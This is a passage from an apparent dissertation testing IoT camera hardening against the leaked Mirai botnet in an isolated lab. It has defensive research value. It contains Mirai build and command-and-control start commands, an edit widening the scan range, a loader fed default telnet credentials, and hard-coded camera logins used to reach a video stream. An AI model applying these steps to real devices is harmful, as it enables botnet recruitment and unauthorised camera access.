insufficient investment in computer security over the years. In short, it has a lot of
computers and at least some of them weren’t able to withstand an attack like this.20
What this shows is that it was unlike Stuxnet, a broad-spectrum campaign designed
to have the largest impact. It worked, and managed to exploit hundreds of
thousands of machine internationally.
2.6 Limitations and critical review of literature
The research into malware that is tailored for IoT technology is not well documented
outside of industry blogs and whitepapers, as it is quite a new area of study. The
malware that is being used is as old as the internet, but the innovative way that
the malware is being implemented is not something the technology world is used
to(Johnson & Goetz, 2007). One of the primary sources of data for this research
will be the security standards for devices created by NIST and CIS, it should be
noted that if the recommendations are not already implemented they may include
changes received from an interview of industry professionals (NIST.gov - Computer
20https://www.grahamcluley.com/wannacry-ransomware-hits-systems-worldwide/
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Security Division - Computer Security Resource Center , 2014; Benchmarks Overview
| Benchmarks | Center for Internet Security , 2017).
During the interview, the industry leaders will be asked if there are any approaches or
experiences that may help the experiments. Some of the techniques may be industry
secrets or proprietary approaches. Then an investigation into these approaches will
take place. One of the ways the lack of documented research may be alleviated are the
rapid pace that botnets are growing. Botnets are gaining more media attention every
day especially with the magnitude and the choice of targets being attacked. A good
example of this is the attack on Liberia in Nov 2016, this represents a new type of
weapon on the world stage, with a DDoS attack taking Liberia’s internet offline this
jump to nation state attacks must prompt a reaction from global organisations and
states, especially if attacks such as this continue21.
2.7 Discussion
With the large amount of information available via IoT devices it is only a matter of
time before there is a compromise of data that takes the world stage and causes a
prolonged media frenzy. As was pointed out by Javvad during the interview, the
biggest danger to the IoT industry looks like a lack of strategic planning. Devices are
produced and rolled out of factories as fast as possible in countries where manual
labour is cheap, which leads to the devices that have not gone through security or
quality assurance to the level that people assume. This assumption is that a device
is already secure. The assumption of security is a danger to the consumer as rather
than their devices being used in a DDoS attack which they will unlikely know about
21\https://medium.com/@networksecurity/shadows-kill-mirai-ddos-botnet-testing
-large-scale-attacks-sending-threatening-messages-about-6a61553d1c7
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and it will unlikely have an impact on their lives, the device could be used to siphon
data out of their network which can lead to fraud and the exploitation of their
private data. It is important for the end customer to have some idea of the security
implication of a rouge or mis-configured device, this can allow them to at least be
aware of the risks involved for having such devices as opposed to assuming they are
secure(Hinde, 2000).
One of the questions that was posed to the security experts that were interviewed,
Who is at fault for any security problems you have mentioned?
There does not be appear to be a right answer to that question, only opinions. There
is a level of development and security that have to be implemented by the designers,
and if that is in place, they would in theory get the sign-off in the manufacturing
stage that the device is of a fit state to be manufactured and sold. But, the end
customers should only expect a certain level of security unless they have been
specifically sold a secure device. If the responsibility of the device is to be put on the
user, they may not have the qualifications to be dealing with low level technology
like this. But that is not the manufacturer or the designer’s problem. The
manufacturer wants to sell devices and the designer wants to create intuitive, ever
more compact devices, typically within a budget.
What if the governments or ISP’s (internet service providers) of the world banded
together and implemented a no attack traffic policy so that any attack traffic picked
up would put the accountability on the owner of the infrastructure. This would make
the everyday owners of exploited routers and other IoT devices accountable. It
sounds like there could be a solution built from this, but as a security and privacy
advocate it has an Orwellian feel to it (Orwell, 1984).
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2.8 Research Question
Now that some of the dangers to devices in malware attacks has been show, the
research will look at some of the possible fixes that can be implemented to reduce
the overall impact of malware. While this dissertation is not about malware itself,
but rather the IoT devices that it can have an impact on, it brings the research to a
point where it must focus on a type of malware and the IoT devices themselves. This
leaves the questions;
Can a strictly defined security configuration for IoT devices mitigate the
risk of exploitability by botnet malware?
The following chapter is aimed at designing a solution that will tackle the research
question.
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3 Design / methodology
This chapter with give details and an outline of the experiment that has been carried
out for the design of security controls. The data that has been collected during the
experiment has been used to designing the security controls which are highlighted
below. The breakdown of how data was treated and what approach was used to
normalising the data is also highlighted.
All data from the devices being analysed has been recorded. Any external changes
to the data on the devices as a direct result of the malware will be logged and noted
as a impact of the malware. A security control will then be designed to mitigate the
change that has taken place. An example of how malware has changed the device
would be setting a default DNS server on the device. An example of data changing
on the device that is not a direct result of the malware would be the time changing.
The security controls will be designed on the findings discovered by analysing the
difference the original device state and the device state after is has been exposed to
malware. The difference between them shall be referred to as the delta.
3.1 Aim of the experiment
Hypothesis
IoT Linux based devices with a strictly defined configuration will be
exploited by the Mirai botnet malware less than IoT devices with their
default settings left enabled.
The focus of the experiment will be to test the difference between internet of things
device security ’out-of-the-box’ compared to devices that have been securely hardened.
Out-of-the-box configuration settings refers to the device not having any of its default
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configuration settings changed. This will be done using a direct comparison of services
available as well as the connectivity status of the device when the malware has or has
not exploited it. The only issue that the experiment is left with is recording exploited
devices. Based on the code inspection it can be seen that the main method of attack
is telnet based, this will mean that port 23 will be the targeted port by the malware.
When a device is successfully exploited, the telnet channel will be closed off to stop
other users and even other malware from re-exploiting the device. When a port scan
is ran it can be seen that port 23 is closed and that the SSH service on port 22 is
open.
3.2 Constants and Benchmarks
A resource that may be used in the design of the experiment will be threat intelligence
organisations. While they may not have much weight in the design phase, they are
big data collectors and some of their information may be useful for the design of the
experiment. The most useful information that may be gathered from threat intelligence
organisations is a count of exploited devices and metrics on methods of exploitation.
Realising the methods of exploitation and their potential countermeasures will be
integral in the design of security controls. One method that will be used to decide the
security controls will be a source code inspection of the Mirai malware. The source
code was disclosed publicly in October 2016. The understanding of the source code will
be essential as it will outline the attack points that the malware uses in its attempts at
exploitation. This will make it easier to track the specific changes the malware makes
or attempts to make to a system during the experiment phase. The source code will
only change in two parts, changing what is in scope (leaving only the scoped internal
range) and the references to the device that it is being run from (hostname & database
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details). Everything else on Mirai will be a constant.
The two security standards that will be used to will be:
1. CIS Distribution Independent Linux Benchmark v1.0.1 22
2. Red Hat Enterprise Linux 6.9 Beta Security Guide 23
These have both been chosen based on their overlap of versions since 2013, with
both being the most up to date versions and considered strong security standards by
organisation globally. Once the cameras have a clear and defined set of changes to
be implemented, the list will be introduced to the security experts who will audit the
list. Their suggested controls may or may not be included in the final list. This will
be based on how many hours the implementation takes.
In order to enumerate the services a port scanning tool called Nmap will be used.
Nmap is a free and open source utility for service enumeration, network discovery and
security auditing. It is widely regarded as the industry standard scanning tool for
port-scanning24. Nmap Version 7.12 was used throughout the experiment.
3.3 Experiment Design
The experiment will be broken up into 3 logical parts. Using this method will give the
ability to view the delta of devices based on specific services being available. There are
some issues that need to be circumnavigated before the experiment starts. Mirai will
actively try and remove specific services notably services running on port’s 22,23 & 80.
By doing this it will insure that there is more accuracy in the design of the security
22https://www.cisecurity.org/benchmark/distribution independent linux
23https://access.redhat.com/documentation/en-US/Red Hat Enterprise Linux/6/pdf/
Security Guide Red Hat Enterprise Linux-6-Security Guide-en-US.pdf
24https://nmap.org/
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controls. A sample of the killer init function from \Mirai-Source-Code-master\
mirai\bot\killer.c can been seen below.
Figure 4: The killer init function in Mirai
Mirai has built-in functions to defend itself, not just against admins and users trying to
take back their devices but against other malware and botnets trying to take the device
for nefarious activities. The memory scan match function in \Mirai-Source-Code
-master\mirai\bot\killer.c actively looks for qbot25, the Darlloz\Zollard worm
25https://github.com/geniosa/qbot
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which mines cryptocurrency using your device26, and any UPX packed executable 27.
Figure 5: Mirai maliciously targeting any competing programs via memory matching.
When the data is collected in the section, it gives an overall view of how the device
looks to the outside world. A device needs to have some sort of access for the user
to interact with it in its designed fashion. Some methods of interaction are insecure
by design such as telnet which allows text-based interaction using a virtual terminal.
This is an un-encrypted channel so if a user authenticates to the device it is possible
for a malicious attacker on their network to sniff their traffic(Theodore, 1995). When
the experiment has taken place, a discovery will take place again, this will give an
overall view of how the device looked after the experiment has taken place and based
on the services results whether or not the malware exploited the device will be shown.
A form of direct delta analysis between the pre-malware data and the post-malware
data can take place and this will show what services and parts of the devices were
manipulated.
To combine data from multiple samples, thereby increasing the precision of treatment
26https://www.symantec.com/security response/writeup.jsp?docid=2013-112710-1612
-99&tabid=2
27https://upx.github.io/
29
effect estimates(Cook & Campbell, 1979)
The experiment is based on the above statement, in the instance of this experiment
the data from multiple IP cameras will be combined and with the combined use of
multiple cameras this will allow the generation of more accurate set of controls in
the experiments estimates. The experiment will be carried out in four stages with
the potential for more stages to refine the data if it is deemed necessary by the data
not being sufficient. Each stage will have a conclusion based on the results of the
experiment completed in its stage. That can be broken down into the following:
• Stage 1 - No security controls implemented on devices. The devices have been
setup according to the quick guide supplied in each box, or if no quick guide
was supplied, they were just plugged in. The devices are setup on the same
CIDR block as the machines housing the command and control, 192.168.0.1/24.
A discovery will take place to insure devices are exposed and functioning as
intended.
• Stage 2 - The devices will be exposed to the malware.
• Stage 3 - The next step is to design security controls/rules based on conclusions and
findings from Stage 2 as well as from other sources such as the industry leader
interviews and the hardening guides available from NIST and CIS.
• Stage 4 - Repeat experiments from stage 2.
If the data comparison does not line up with the expected baseline, there will need to
be an investigation. An investigation may consist of running the experiment again to
see if there is a networking anomaly that may have caused the issue. As all of the
devices will be run on a local network networking issues are not expected. Packet
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capturing will be monitoring the packets sent over the local network during the
course of the experiment, if there are more than 60 connectivity issues consecutively
the experiment will be restarted. A connectivity issue can be described as a HTTP
500 Internal server Error. A HTTP 408 Timeout Error will not does not mean that
the device is offline, if a user fails to authenticate telnet may drop the connection to
the user and the connection will have to be reestablished. The other anticipated
issues fall under the category of driver error or device error. If any of the hardware
does not interact as expected, the experiment will be restarted. The devices are
typically low quality and this may impact the results. Expected functionality will be
highlighted on a device-to-device basis as functionality may differ slightly.
3.3.1 Preparation
The first phase will be to design an environment where the analysis can take place.
The Mirai malware will be destructive and will try to destroy all the security controls
on the devices it is sent to. Virtual machines will be used where possible, and and a
virtual machine will be used for the command and control centre, this is where each
specific device will report back to once it is exploited.
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Figure 6: Network diagram of experiment infrastructure.
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3.3.2 Setup Overview
A command and control machine will be setup in a virtual environment. This will
make it easy to save and control. This will be the main machine that the malware
will run from. From this machine, the malware will be edited to look for machines on
a specific range of IP’s. As can been seen from the code review, the malware excludes
internal IP’s from its scope. So, it is edited to include the internal range that have
been specified for the experiment which is 192.168.0.1/24. Below two code snippets
from Mirai malware can be seen where IP addresses are generated and the internal
networks are excluded from Mirai’s scope. The range will be edited to include the
scoped ranges specified above.
On a second network, the setup of the devices will take place so that all 5 devices are
functioning correctly, for the purposes of this experiment IP cameras will be the test
devices. Access will then be given so that the malware can attempt to exploit the
cameras. The malware will have 5 minutes which should be sufficient time to exploit
the cameras if the security controls aren’t sufficient. The attack should only take a few
minutes to actually take place, but in some instances, there may be a networking issue
that leads to latency or connection issues. To ensure that if this happens the malware
has enough time to act a time twice the expected time will be assigned. One of the
most popular methods of attack in modern malware is testing default credentials. The
first public iteration of Mirai had 62 default username and password combinations it
used. Each of these sets of credentials were designed to target a specific device that is
being exploited. A snippet of the credentials can be viewed below.
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Figure 7: Code snippet of Mirai malware where IP addresses are generated, where the internal
networks are excluded from Mirai’s scope.
Figure 8: Edited code to include scoped range.
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Figure 9: Some of the credentials Mirai uses to exploit devices
Some devices broadcast their device and model in their ELF header. An ELF header
is a common standard for files of different formats that can be executable, specific
object code, memory core dumps and libraries. A sample of these the devices that
have hard-coded credentials can be viewed below.
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Figure 10: ELF headers that Mirai recognises
To create the working environment, two virtual machines are used. This can be done
in any suitable way. The virtual machine software used in the experiment was VMware
Workstation 12 Player version 12.5.6. The two machines used are made from a Debian
live Desktop 8.8 distribution28. The setting for the machines can be viewed in the
image below. It should be noted that better results were achieved when the network
28http://cdimage.debian.org/Public/debian-cd/current-live/amd64/iso-hybrid/
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adapter was bridged. This allows to VM to act nearly completely independently of
the host machine.
Figure 11: Virtual Machine Settings
A full guide to the setup can be viewed in Appendix II. Once the setup from appendix
II is complete a final debug takes place followed by the release of the code via the
following commands. In ~\Mirai-Source-Code-master/mirai run the following
$ . / bu i ld . sh debug t e l n e t
$ . / bu i ld . sh r e l e a s e t e l n e t
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With each of these commands you may have some errors. This will depend on the
technology your machine using. The errors are related to hardware on the device, or
enumerated hardware.
Then start the command and control in another screen using the following command.
$ s c r e en . / cnc
Then telnet into the machine using putty or telnet and you should be prompted for
credentials.
Figure 12: Mirai command interface after authentication
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3.3.3 Results Gathering
An analyse of the devices will take place and results will be collected for all 5 cameras.
The results will be best collected in the command and control as in order to get a
copy of the device before exploitation the device would need to be exploited which
will mean deferring from the out-of-the-box settings. The services that are running on
each machine will give a definite response as to whether the malware has exploited the
device. In chapter 3.3 it was shown that the malware will try to defend itself when it
captures a device, but the exploited device still needs to connect to the command and
control device so it will still need an outgoing connection.
3.3.4 Results Analysis
A set of security controls are then designed based on the findings. The following
changes may have an impact on the device and increase its security.
• Null ciphers
• Telnet
• anonymous ftp
• SMTP
• HTTP enabled
Example security control: Malware uses SMTP (Simple mail transfer protocol)
SMTP traffic is disabled.*
*It should be noted that not all cameras will have this functionality and this would
only happen if it is not part of the device specifications for the camera to send
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emails.
3.3.5 Design of security controls
Based on the impacted services, a set of security controls will be designed to be rolled
out across all the cameras. Each camera will be slightly different in their setup, so
the security controls must be designed in a generic fashion for implementation to be
possible. When the security controls are complete an analysis will take place to see
what changes can be implemented across all devices. This will give a new baseline for
security control standards.
3.3.6 Implementation of security controls
The final stage is applying the security controls to the devices again and repeating the
experiment stage with the newly configured devices. The objective of this phase is to
see if generic security controls can increase the security of the devices, it also must
be taken into account that the devices may not be able to implement the controls. If
a control has not worked, this may be because the infrastructure, framework or OS
is not compatible. For a control to be considered generic, it must work with 50% of
the devices, the remaining 50% will not been removed from scope, just excluded for
specific controls. This control cannot be implemented, as it is not general enough.
The available services are then reviewed after the device has been exposed to the
malware and if they have not changed the controls have had the desired impact. The
experiments above will allow the establishment of a strong security control baseline.
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3.4 Strengths and Limitations of Designed Solution
Strengths
• Rigor of data and implementation, the device data gathered during the
experiment was gathered for the sole purpose of this research. It was not
enhanced or complemented with data from other sources.
• The experiment is designed with the purpose of being reproducible so it can
be quickly replicated as other malware source code gets released.
• While there are guides available to setup Mirai, there were no complete
comprehensive set of steps to assemble the experiment.
Limitations
• Sample size - As only 5 devices will be used during the experiment, there is a
limitation in size when it comes to devices being analysed. The results of this
experiment would be improved by including and investigating more devices for
the experiment.
• Correlation and Causation - In section 2 chapter 2, a graph shows that the
volumetric size of DDoS attacks correlates to the amount of devices connected
to the internet. This is a correct, but it should be noted that the amount of
devices may not be the cause of this increase in the size of attacks. This may be
a coincidence and could be an avenue for further research.
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• There is not way to validate the version of Mirai being used is the version
that’s been used in the DDoS attacks of 2016. It is possible that the version that
was leaked was just an iteration of the malware that the author created. This
limits the results of the experiment to only be applicable to the Mirai variation
that was leaked in October 2016.
3.5 Assumptions
• The expected results are that the security controls will have a positive impact
on the cameras.
• There is also an expectation that most designed security controls will not
generic enough to be adapted to over 50% of the cameras. As of writing
distrowatch.com29, a website dedicated to logging and monitoring distributions
of operating systems, has 859 different variations of Unix based operating
systems. This does not include any tailored or proprietary variations of OS’s,
so the real number may be in the hundreds of thousands.
• One assumption that will have an impact on the results, if a device is not
configurable, hard-coded, encrypted etc. then the controls will not be able to
be implemented. There will be effort expended to replace the device, but the
results will count as negative when the final results are accounted.
• The final assumption is that any of the devices could be exploited by a
malicious attacker given enough time.
29https://distrowatch.com/search.php?status=All
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4 Implementation / Experiment
In this chapter the implementation of the experiment and the results will be shown.
An overview of the devices states will be shows as well as if the malware exploited the
devices and then if the devices with a secure configuration were exploited.
4.1 Code Inspection
During the planning and information gathering stages of this thesis it was understood
that analysis of the Mirai source code would have to take place. This needed to happen
for two reasons.
• It was necessary to know how to deploy the code for the experiment phase.
This will involve editing the code to suite the experiments purpose. One edit that
is obvious from an initial review of the code is the external internet addresses
needed to be removed from scope. As all of the designated internal ranges are
excluded (10.0.0.0/8, 172.16.0.0/12 & 192.168.0.0/16) by default and a change
needed to made to the scanner to include the designated range and exclude
everything else.
• The experiment needed to understand how the code worked so the attack
vectors being used could pinpointed and critiqued. The media has already
covered some of the aspects of this such as password guessing.
A decision was made that a full source code review would not take place, and that the
level of source code inspection would be determined. The analysis that takes place of
the code will be on the design and functionality of the code and not the efficiency or
the technologies deployed by the designers. A source code review is a full breakdown
of all elements of the code function by function, while an inspection is a breakdown
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of the functions that are relevant to this study. In this case, a full code review is not
needed on all elements of the code so an inspection suits the experiments purpose.
4.2 Device Analysis
This section will cover the devices that will be used for testing.
4.2.1 D-link DCS-932L
The authentication is HTTP Basic authentication that gives a user access to the
administrative functionality of the application running on the device. The application
is available over encrypted (HTTPS) and non-encrypted (HTTP) channels. Having
an administrative application available over a non-encrypted channel is not advised
and is on the OWASP Top 10 list from 200730 & 201331.
30https://www.owasp.org/index.php/Top 10 2007-Insecure Communications
31https://www.owasp.org/index.php/Top 10 2013-A5-Security Misconfiguration
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Detail Device Specifics Notes
Device D-Link DCS-932L
OS D-Link DCS-932LB1
Firmware functionality Yes
Firmware update available Yes
Compromised during experiment No
Cost 49.80
Services 80 - HTTP
443 - HTTPS
Authentication HTTP Basic Authentication admin:<null>
Table 1: Device specifics for D-link DCS-932L
4.2.2 Motorola FOCUS66-W
For the administrative console on device 2 there was no authentication. It was possible
to just navigate to the application in a browser on the same network. The device’s
application is available over HTTP on port 80 and has two other services available.
An IRC (Internet relay protocol) service, which facilitates text based communication
over the application layer. This was used to provide a stream functionality via the
mobile application that has to be installed during setup. On port 8080 a HTTP proxy
service was running which appeared to have little or no functionality available.
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Detail Device Specifics Notes
Device Motorola FOCUS66-W
OS Nuvoton OS
Firmware functionality Yes
Firmware update available No
Compromised during experiment No
Cost 54.99
Services 80 - HTTP
6667 - IRC user:pass
8080 - HTTP-Proxy
Authentication No authentication
Table 2: Device specifics for Motorola FOCUS66-W
4.2.3 Coolead IP/Network Camera
For the administrative console on device 3 there was no authentication. It was possible
to just navigate to the application in a browser on the same network. The device’s
application is available over HTTP on port 80 and has two other services available.
telnet on port 23 and an Asterix service on port 8600. The telnet service has default
root credentials which will likely lead to a full compromise of the device. The Asterix32
service is designed for communication media with limited bandwidth.
32http://www.eurocontrol.int/services/asterix
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Detail Device Specifics Notes
Device Coolead IP/Network Camera
Distro Busybox
OS Linux version 2.6.21
Firmware functionality Yes
Firmware update available No
Compromised during experiment Yes
Cost 27.04
Services 23 - Telnet root:123456
80 - HTTP
8600 - Asterix
Authentication No Authentication
Table 3: Device specifics for Coolead IP/Network Camera
4.2.4 Maginon IPC-10AC
Device 3 and device 4 have a similar frame and mounting and have the same services
available. I believe the devices were implemented and created in nearly the exact same
way. There are only a few small differences, the credentials are different and the OS
specifier is different. The device’s application is available over HTTP on port 80 and
has two other services available, Telnet on port 23 and an Asterix service on port
8600. The telnet service has default root credentials which will likely lead to a full
compromise of the device. The Asterix33 service is designed for communication media
with limited bandwidth.
33http://www.eurocontrol.int/services/asterix
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Detail Device Specifics Notes
Device Maginon IPC-10AC
Distro Busybox
Firmware functionality Yes
Firmware update available No
Compromised during experiment Yes
Cost 26.88
Services 23 - Telnet root:123456
80 - HTTP
8600 - Asterix
Authentication No Authentication
Table 4: Device specifics for Maginon IPC-10AC
4.2.5 DVR186 - CCTV - IP Camera
The device’s application is available over HTTP on port 80 and has one other services
available. telnet on port 23. The telnet service has default root credentials which will
likely lead to a full compromise of the device.
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Detail Device Specifics Notes
Device Zosi DVR186 - CCTV
Distro Busybox
Firmware functionality Yes
Firmware update available No
Compromised during experiment Yes
Cost 31.00
Services 23 - Telnet root:123456
80 - HTTP admin:<null>
Authentication No Authentication
Table 5: Device specifics for DVR186 - CCTV - IP Camera
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4.3 Baseline Comparison
From the initial discovery that took place of the devices, the following results for
devices in their default state can be shown.
Device 1 has no default credentials to the OS that are shipped with the product. The
device has known exploits that have patches readily available for them, and during the
implementation they request that you update to the latest safe version. 34 Device 2
much like device 1 is shipped with no default credentials, but the poor implementation
of the Hubble web-application that controls a users interaction with the device can
allow malicious file upload via the firmware update section that may lead to malicious
firmware being uploaded and the device being compromised by a malicious user.
Device 2 has an option to use commands via the user’s URL is a somewhat restful
fashion.
Figure 13: Command web prompt available on Motorola device.
Using the command URL string as a starting point, an attacker just needs to guess
or enumerate the correct URL and they will be able to exploit the device without
34ftp://ftp2.dlink.com/SECURITY ADVISEMENTS/DCS-932L/REVB/DCS-932L REVB FIRMWARE
PATCH NOTES 2.13.10 EN.PDF
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sufficient authentication. For this the web crawler that comes installed with the open
source software, OWASP Zed Attack Proxy (ZAP)35 was enough to find the following
URL http://192.168.0.17/blinkhd. This did not look like a regular website when
visited in browser, so the string ”blinkhd” was put into Google and found to be the
placeholder for a RTSP (Real Time Streaming Protocol) service. If this is opened up
in windows media player or VLC a user can interact with the stream from the camera.
Credentials were enumerated using a script from Nmap36. A forensic analysis was
not performed on the mobile application but based on this finding I believe that the
authentication string of user:pass is hard coded into the device and cannot be changed
as there is no option in the mobile application to change it.
35https://www.owasp.org/index.php/OWASP Zed Attack Proxy Project
36https://nmap.org/nsedoc/scripts/rtsp-url-brute.html
51
Figure 14: Using VLC player to intercept camera stream
Figure 15: Prompt for credentials user:pass was successful
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Figure 16: Intercepted stream in VLC player
Figure 17: Motorola application with temperature
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Figure 18: File upload functionality via firmware upgrade
Figure 19: Interaction with camera available on /test.html
Device’s 3,4 & 5 are shipped with easily accessible root credentials on the devices.
There is no valid reason for a user to need these as the devices all have the firmware
functionality available via a web-application which would be the only use case for a
user to edit or tamper with the device at the OS level. Access to each of these devices
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is available via telnet and each device has no simple method to change this password.
Detail Default OS credentials
Device 1 No
Device 2 No
Device 3 Yes
Device 4 Yes
Device 5 Yes
Table 6: Device and Default OS credentials
Detail Poor security implementation
Device 1 No
Device 2 Yes
Device 3 Yes
Device 4 Yes
Device 5 Yes
Table 7: Device and Poor security implementation
4.4 Phase Breakdown
This section will provide a breakdown of all stages of the experiment.
4.4.1 Stage 1 - Device setup
No security controls implemented on devices. The devices have been setup according
to the quick guide supplied in each box, or if no quick guide was supplied, they were
just plugged in.
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The devices are setup on the same CIDR block as the machines housing the command
and control, 192.168.0.1/24.
The discovery is available in section 1.3 of this chapter.
4.4.2 Stage 2 - Exposure to Malware
The devices are then exposed to the malware. This is completed via the main VM
mirai-dave-test.ie where the following takes place. Devices details are entered into
a file, example snippet below is named output.txt and has the following format.
IP:PORT USERNAME:PASSWORD
1 9 2 . 1 6 8 . 0 . 8 7 : 2 3 root : xc3511
1 9 2 . 1 6 8 . 0 . 8 7 : 2 3 root : v izxv
1 9 2 . 1 6 8 . 0 . 8 7 : 2 3 root : admin
1 9 2 . 1 6 8 . 0 . 8 7 : 2 3 root :888888
1 9 2 . 1 6 8 . 0 . 8 7 : 2 3 root : xmhdipc
1 9 2 . 1 6 8 . 0 . 8 7 : 2 3 root : d e f a u l t
1 9 2 . 1 6 8 . 0 . 8 7 : 2 3 root : juantech
1 9 2 . 1 6 8 . 0 . 8 7 : 2 3 root :123456
1 9 2 . 1 6 8 . 0 . 8 7 : 2 3 root :54321
1 9 2 . 1 6 8 . 0 . 8 7 : 2 3 root :
The output is fed into the loader in ~\Mirai-Source-Code-master\loader in the
following format.
$ cat output . txt | . / l oade r
The loader will then attempt to authenticate to each of the services specified on each
of the IP addresses with the credentials provided. The loader will give an output based
on what has been successful in the via the following.
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Figure 20: Mirai loader attempting to authenticate to device
When the login increases this means that Mirai has successfully logged into the device.
Figure 21: Errors show authentication attempts
When the device has been completely compromised there is an increase in the botcount
from the Mirai command prompt.
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Figure 22: Mirai command prompt
This step is then repeated for each of the devices and this will give a count of devices
with default settings enabled. The results of which can be viewed below.
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Detail Compromised
Device 1 No
Device 2 No
Device 3 Yes
Device 4 Yes
Device 5 Yes
Table 8: Results of compromised devices
The results above have one thing in common, the malware attempts to connect and
enumerate credentials via telnet.
4.4.3 Stage 3 - Security controls
The next step is to design and implement the security controls/rules based on
conclusions and findings from Stage 2 as well as from other sources such as the
industry leader interviews and the hardening guides available from NIST and CIS.
Devices 1-4 have a physical reset button on the device, Device 5’s setup guide states
that the device should be turned off for 2 minutes and then turned back on for a
reset. For each device a reset happened and then the following controls were
implemented where applicable.
The following security controls have been selected for application for the devices:
• Apply updated firmware, upgrade to latest safe version.
• Change any default credentials to a strong password.
• Disable null ciphers - not applicable as none of the devices use SSH or SSL.
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• Disable Telnet and enable SSH, This is not a trivial control, BusyBox natively
doesn’t support SSH but it can be refitted with an independent SSH server and
client called dropbear. However this requires the OS to be recompiled to to
include the SSH server and client.
• Disable Anonymous FTP - TFTP is enabled by default onto the device. The only
functionality is to send files off the device as opposed to onto the device, so this
control is not necessary.
• Disable SMTP - Having SMTP is not dangerous unless it is exposed via an Open
Mail Relay, this is typically run on port 25.
• Enable HTTPS as opposed to HTTP
During the implementation of security controls on devices 4 & 5, the devices stopped
responding. Device 4 has a reset button which seems to have malfunctioned when
the security controls were being implemented, device 5 stopped responding and the
reset instructions provided by the manufacturer stopped working during the
implementation of the security controls. If the devices 4 & 5 were to have not had
their security settings changed I believe that the devices would remain permanently
exposed to the malware with no obvious way to reset the devices or apply security
controls.
4.4.4 Stage 4 - Expose malware to hardening devices
Repeat experiments from stage 2.
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Detail Compromised
Device 1 No
Device 2 No
Device 3 No
Device 4 No37
Device 5 No38
Table 9: Results of devices after security controls are implemented
37. Device stopped responding after security changes were implemented
38. Device stopped responding after initial exploitation by Mirai
4.5 Results Breakdown
Based on the below graph there is a 60% failure rate from the devices.
Detail Compromised
Device 1 No
Device 2 No
Device 3 Yes
Device 4 Yes
Device 5 Yes
Table 10: Results of compromised devices
When the security changes are made, the devices ability to defend itself from Mirai
malware has increased to 100%.
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Detail Compromised
Device 1 No
Device 2 No
Device 3 No
Device 4 No
Device 5 No
Table 11: Results of devices after security controls are implemented
4.6 Findings Discussion
This section will highlight the objectives of the project and their conclusions.
 Determine the problems related to security and their implementation with IoT
devices.
When the devices were analysed it can be seen that the root cause to the security
issues presented are that the devices are being designed and manufactured so that the
final build of the the products that the customer receives in not robust or secure. The
devices are shipped with varying builds of old software, Motorola using Linux version
2.6.21, August 2007 release date while the Coolead and Maginon both use BusyBox
version 1.12.1 which was release in August 2008. This was not unexpected as this
is something that both the security specialists had pointed out during the interview
(full transcript available in Appendix I). Keeping software running on the latest safe
version or updated keep your software protected from known security holes that have
been patches via the software patches. These devices are being shipped with not just
software that is unsafe, but completely unsupported by the creators and vendors.
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 To test the chosen IoT devices using the latest malware designed for such devices
to discover the correlations between device and exploitation.
The experiment has concluded through iterative testing that IoT devices have a 60%
of being exploited if the attacker is using the Mirai malware(devices 3,4 & 5). Mirai
is likely the latest iteration of malware of this kind with Radware stating in April
2017 that BrickerBot is a fork of Mirai using the same exploit vectors to get onto
the device, but permanently corrupting the device upon successful exploitation39. It
is safe to assume that this is not the last iteration of this malware and it is only a
matter of time before exploit creators match up more than just brute-force exploits to
compromise devices.
 To design and test security controls based on the common weaknesses of each
device.
The experiment has concluded through iterative testing that IoT devices have an 80%
chance of being exploited by a determined attacker (devices 2,3,4 & 5). What can
be seen from this data is that devices have poor configurations and are open season
for malicious attackers, the best defensive approach is to reduce the attack surface to
have as little functionality exposed as possible. What this means is that if a service
is exposed by the device there must be a valid reason, if the device is designed to
share files or information to something or someone, it should be done using a strong
authentication mechanism with difficult to guess credentials. During the setup phase
a user should have to change any password from their default setting and this coupled
with up-to-date software will reduce the chance to exploitation down to 0% provided
the device is maintained with a strong patching policy.
39https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-permanent
-denial-of-service/
63
 To identify topics for research that may improve and expand the knowledge
within this domain.
One of the questions that came up again in the research was what if an organisation
is so big that as security professional responsible you are not entirely sure about
what infrastructure you have exposed to the internet? Or what if you are aware but
do not have the power to adequately govern it? This is where IoT technology is
possibly at its most dangerous.
If an organisation is not aware of their externally exposed services such as
pre-production/development environments then they will have a hard time when IoT
technology is fully incorporated into their environments as it provides a new range of
access to inside an organisation from the outside.
According to Johnson and Goetz, Limited resources are a problem for large and
small companies because there’s an abundance of threats but only limited resources
to deal with them(Johnson & Goetz, 2007). In this way based on the findings,
external service scanning should take place to get an accurate sense of your external
facing infrastructure and then at least you will know where your weak points are to
start during a security program. A simple port scanning tool such as Nmap can help
organisations get a more robust external infrastructure and it is open source which
means it can be used for no licensing cost, and it can be automated with alerting
provided a small initial investment of time is put into it.
4.7 Strengths and Weaknesses
Strengths
 The findings align with general security principles. The fact that all the
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advisories referenced in this paper and all security experts questions mentions
that devices should be updated to the latest safe version means that if the
designers and manufacturers are not adhering to this it is a a major security
hole in the devices.
 While the functionality existed for firmware updates on all of the device, the
foundation of the devices is unsupported by the vendor meaning patching these
devices is the equivalent of building a house on quicksand. A strong underlying
OS as a foundation means that the device can constantly be patched and
refreshed with less of a concern for the product falling out of support.
 The cost of a device had a direct impact on the chance of exploitation by the
malware. All of the devices under 31.00 were exploited by the malware. They
are highlighted in red in the graph below while the device over 31.00 which were
not exploited by the malware are highlighted in green.
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Figure 23: Cost Comparison graph
 The Coolead and Maginon cameras both have the exact same underlying OS,
BusyBox v1.12.1. and very similar functionality which leads me to argue that
the devices were purchased from the same manufacturer and then put into the
branded frame based of the organisation who is selling them. This means that
both manufacturers are producing devices under their own brand using out of
support technology. There was not intention by the author to purchase devices
that were similar and the fact that both devices are so similar is a coincidence.
Weaknesses
 The research is limited by the amount of devices that were included in the
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experiment. If there were more devices the margin of error could have been
increase and the findings would have more impact.
 During the experiment setup phase, upon implementation it was found that there
was no way to completely clone the devices without compromising them first.
The data that is shown on the devices before and after is from the command
and control and from the port scanning tool that gives the information based on
devices exploited. This means that the devices had to be exploited to implement
security controls.
 During the experiment it would have been more beneficial to have been able to
exploit the devices and then reset them automatically, but due to the design of
the devices this was not possible, each device had to be powered off and on again
or a reset button had to be held for roughly ten seconds in order for a reset to
take place.
 The implementation of generic security controls was limited by the functionality
available on each devices web application layer and by the underlying OS’s not
supporting a native SSH client. Devices with more configuration options may
have this functionality enabled but were not included in the sample devices.
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5 Evaluation / Analysis
5.1 Results
This chapter reviews the results from the experiment performed in Chapter 4. They
are highlighted in the following table based format.
 The control that was reviewed for each device.
 The state of the device before the control was implemented
 The state of the device after the control was implemented.
 Whether or not the control increased the security of the device.
